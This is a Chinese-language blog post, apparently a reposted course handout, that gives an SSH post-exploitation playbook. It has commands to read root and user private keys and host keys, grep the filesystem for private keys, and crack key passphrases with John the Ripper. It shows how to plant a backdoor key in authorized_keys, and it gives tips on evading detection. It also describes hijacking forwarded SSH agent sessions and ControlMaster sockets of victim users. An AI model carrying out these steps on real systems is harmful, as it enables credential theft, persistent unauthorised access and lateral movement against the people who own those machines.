SSH功能强大,知彼知已:
1、手动查找 SSH 密钥
主目录和私钥文件位置:
/home/*
cat /root/.ssh/authorized_keys
cat /root/.ssh/identity.pub
cat /root/.ssh/identity
cat /root/.ssh/id_rsa.pub
cat /root/.ssh/id_rsa
cat /root/.ssh/id_dsa.pub
cat /root/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
2、搜索包含 SSH 密钥的文件
grep -ir "-----BEGIN RSA PRIVATE KEY-----" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
3、确定密钥的主机
Linux 系统可能会散列 known_hosts 文件以帮助防止枚举。
如果找到密钥,则需要确定该密钥用于哪个服务器。在尝试识别以下位置的密钥是什么主机时,应检查:
/etc/hosts
~/.known_hosts
~/.bash_history
~/.ssh/config
4、破解 SSH 密码密钥
如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),以下是几种方法。如果您可以访问 GPU,则应利用 hashcat 来缩短破解时间。
使用Ripper破解 SSH 密码
John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上。
转换哈希:python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用词表:john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash-john
帮助避免检测
避免从未知主机直接连接到目标 SSH 服务器,使用已知主机来防止发出检测警报。
5、SSH 密码后门
虽然您可以访问受感染的主机,但通常最好将 SSH 授权密钥文件设置为后门,这将允许在某个时间点进行无密码登录。与通过反向 shell 进行利用相比,它能提供更简单、更可靠的连接;并有降低被发现的风险。
添加密钥只是粘贴在攻击机器上生成的 SSH 公钥并将其粘贴到受感染机器上的 ~/ssh/authorized_keys 文件中的一种情况。
运行 ssh-keygen -t rsa -b 4096
cat id_rsa.pub 并复制文件内容
echo “SSH 密钥数据” » ~/.ssh/authorized_keys
测试是否可以使用私钥进行连接而不会提示您输入密码。
6、SSH 代理转发劫持
假设:您已经将公钥添加到 ~/.authorized_keys 文件中,使 SSH 对受感染的主机进行了后门处理。
7、SSH 代理如何工作
SSH 代理的工作原理是允许中间机器将您的 SSH 密钥从您的客户端传递(转发)到下一个下游服务器,从而允许中间的机器(可能是堡垒主机)使用您的密钥而无需物理访问您的密钥,因为它们不存储在中间主机上,而是简单地转发到下游目标服务器。
. 访问建立现有受害者用户会话的机器
. 对建立受害者会话的机器的根级别访问
. 启用了代理转发的当前受害者 SSH 连接
. 您的机器 => 中间主机(转发您的密钥)=> 下游机器
风险
使用 SSH 代理转发的主要风险是,如果中间机器受到威胁,并且攻击者拥有很大的权限,他们可能会使用已建立的会话套接字来访问下游服务器。
8、如何劫持 SSH 代理转发
攻击机器 => 被入侵的中间主机(使用 SSH 密钥)=> 下游机器(最终目的地)
SSH 代理转发允许用户在不输入密码的情况下连接到其他机器。当存在活动会话时,可以利用此功能访问受感染用户 SSH 密钥有权访问的任何主机(无需直接访问密钥)。
考虑 SSH 代理转发的一种可能更简单的方法是将其视为将 SSH 密钥分配给活动的 SSH 会话,当会话就位时,可以访问 SSH 密钥并连接到使用 SSH 密钥的其他机器有访问权限。
为了利用 SSH 代理转发,必须在用户客户端(您希望劫持)和受感染的中间主机之间打开一个活动会话。您还需要使用超级用户权限(例如su - username、 或sudo)访问用户连接的主机,以访问运行您希望劫持的活动 SSH 会话的帐户。
如果 -A SSH 连接失败,请执行以下操作:```echo "ForwardingAgent yes" >> ~/.ssh/config``` 以启用代理转发。
客户说明
在本地客户端机器上运行以下命令:
您可能需要创建一个新密钥,运行ssh-add。
使用代理转发到受感染主机打开 SSH 连接 ssh -A user@compromsied-host
以下方法验证代理转发是否正常工作: ssh-add -l
获取根:sudo -s
访问您要访问的帐户:su - victim
访问受害者的私钥可以访问的任何 SSH 连接
9、使用 ControlMaster 进行 SSH 劫持
OpenSSH 有一个名为ControlMaster的功能,可以通过单个网络连接共享多个会话。允许您连接到服务器一次并让所有其他后续 SSH 会话使用初始连接。
为了利用 SSH ControlMaster,您首先需要对目标进行 shell 级访问;然后,您将需要足够的权限来修改用户的配置以启用 ControlMaster 功能。
获得对目标机器的 shell 级别访问,
访问受害用户主目录并创建/修改文件 ~/.ssh/config
添加以下配置:
Host *
ControlMaster auto
~/.ssh/master-socket/%r@%h:%p
ControlPersist yes
确保主套接字目录存在,如果不存在,则创建它 mkdir ~/.ssh/master-socket/
确保配置文件具有正确的权限 chmod 600 ~/.ssh/config
等待受害者登录并建立与另一台服务器的连接;
查看步骤4创建的目录,观察socket文件:ls -lat ~/.ssh/master-socket
劫持步骤 7 中列出的现有连接 ssh 到user@hostname / IP
高铁,手机,移动办公,和窗外的美景一样,确是人生幸事。
感谢无糖学院导师戴华老师分享
欢迎关注公众号MicroPest
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...